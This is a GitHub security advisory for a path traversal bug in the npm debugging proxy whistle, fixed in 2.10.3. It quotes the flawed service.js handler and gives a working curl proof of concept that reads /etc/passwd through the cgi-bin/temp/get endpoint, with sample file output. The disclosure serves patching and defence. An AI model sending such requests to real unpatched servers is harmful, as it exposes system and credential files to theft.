GitHub Advisoryadvisory · npm
GHSA-3vfr-4gwf-qxfp Whistle vulnerable to path traversal
HIGH
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- Aliases
- CVE-2026-55629
- Ecosystem
- npm
- Packages
- whistle
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-22
- Reviewed
- 2026-08-25
Affected packages
• npm whistle: < 2.10.3 → fixed in 2.10.3
Description
This bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University.
Vulnerability detail:
In service.js, inside
`app.get('/cgi-bin/temp/get', ...):
var filename = req.query.filename;
if (TEMP_FILE_RE.test(filename)) {
filename = path.join(TEMP_FILES_PATH, filename);
}
getFile(filename, ...);`
Only when filename matches the temp/ pattern does it get joined to the safe directory TEMP_FILES_PATH.
If it does not match that pattern, the code does not block the request. Instead, it directly uses the user-supplied filename for file reading.
In other words: if you pass passwd, it will read passwd.
POC:
curl -s "http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/passwd"
response:
``` sh
xiaoming@192 ~ % curl -s "http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/hosts"
{"ec":0,"value":"##\n# Host Database\n#\n# localhost is used to configure the loopback interface\n# when the system is booting. Do not change this entry.\n##\n127.0.0.1\tlocalhost\n255.255.255.255\tbroadcasthost\n::1 localhost\n199.232.68.133 raw.githubusercontent.com\n199.232.68.133 user-images.githubusercontent.com\n199.232.68.133 avatars2.githubusercontent.com\n199.232.68.133 avatars1.githubusercontent.com\n127.0.0.1 lanyundev.com\n\n127.0.0.1 www.proxifier.com\n127.0.0.1 proxifier.com\n140.82.116.4 github.com\n\n# This line is auto added by aTrustAgent, do not modify, or aTrustAgent may unable to work\n127.0.0.1\tlocalhost.sangfor.com.cn\n\n"}%
```
Related
Alias · CVE (1)
- CVE-2026-55629 Whistle is an HTTP, HTTP2, HTTPS, and WebSocket debugging proxy. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness
References
- https://github.com/avwo/whistle/security/advisories/GHSA-3vfr-4gwf-qxfp web
- https://nvd.nist.gov/vuln/detail/CVE-2026-55629 advisory
- https://github.com/avwo/whistle/commit/777bcf69bae2972aa7138a158c91619185653cf5 web
- https://github.com/avwo/whistle package
- http://github.com/avwo/whistle/releases/tag/v2.10.3 web